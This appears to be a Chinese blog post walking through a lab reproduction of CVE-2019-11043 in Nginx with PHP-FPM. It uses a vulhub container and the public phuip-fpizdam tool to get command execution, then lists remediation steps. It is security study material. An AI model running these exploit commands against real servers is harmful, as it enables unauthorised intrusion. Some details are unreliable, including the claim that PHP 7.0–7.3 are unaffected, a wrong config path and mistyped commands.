漏洞复现

CVE-2019-11043漏洞复现(PHP-FPM远程代码执行)

Posted on 2020-01-02,2 min read

漏洞介绍
Nginx与php-fpm服务器上存在的一处高危漏洞,由于Nginx的fastcgi_split_path_info模块在处理带 %0a 的请求时,对换行符 \n 处置不当使得将PATH_INFO值置为空,从而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。目前开源社区已有漏洞Poc公开。

影响范围
Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。

location ~ [^/]\.php(/|$) {
   fastcgi_split_path_info ^(.+?\.php)(/.*)$;
   fastcgi_param PATH_INFO      $fastcgi_path_info;
   fastcgi_pass   php:9000;
  }
}

PHP 7.0/7.1/7.2/7.3不受影响
漏洞环境:

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
docker-compose up -d

docker速度慢,如下操作

vim /etc/docker/daemon-reload
{
 "registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}
systemctl daemon-reload 
systemctl restart docker

安装下go环境:

wget -c https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
tar -C /usr/local/ =xzf go1.8.3.linux-amd64.tar.gz
vim /etc/profile
最后加上一句
export PATH=$PATH:/usr/local/go/bin
source /etc/profile

利用工具:

https://github.com/neex/phuip-fpizdam
go build

漏洞复现
访问IP:8080

./phuip-fpizdam http://192.168.0.128:8080/index.php --skip-attack
无损漏洞检测

./phuip-fpizdam http://192.168.0.128:8080/index.php

http://192.168.0.128:8080/index.php?a=id

修复方案
修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符。
暂停使用nginx+php-fpm 服务
在不影响正常业务的情况下,删除Nginx配置文件中的如下配置:
fastcgi_split_path_info ^(。+?\。php)(/.*)$;
fastcgi_param PATH_INFO $ fastcgi_path_info;

下一篇: 域渗透(PTH)→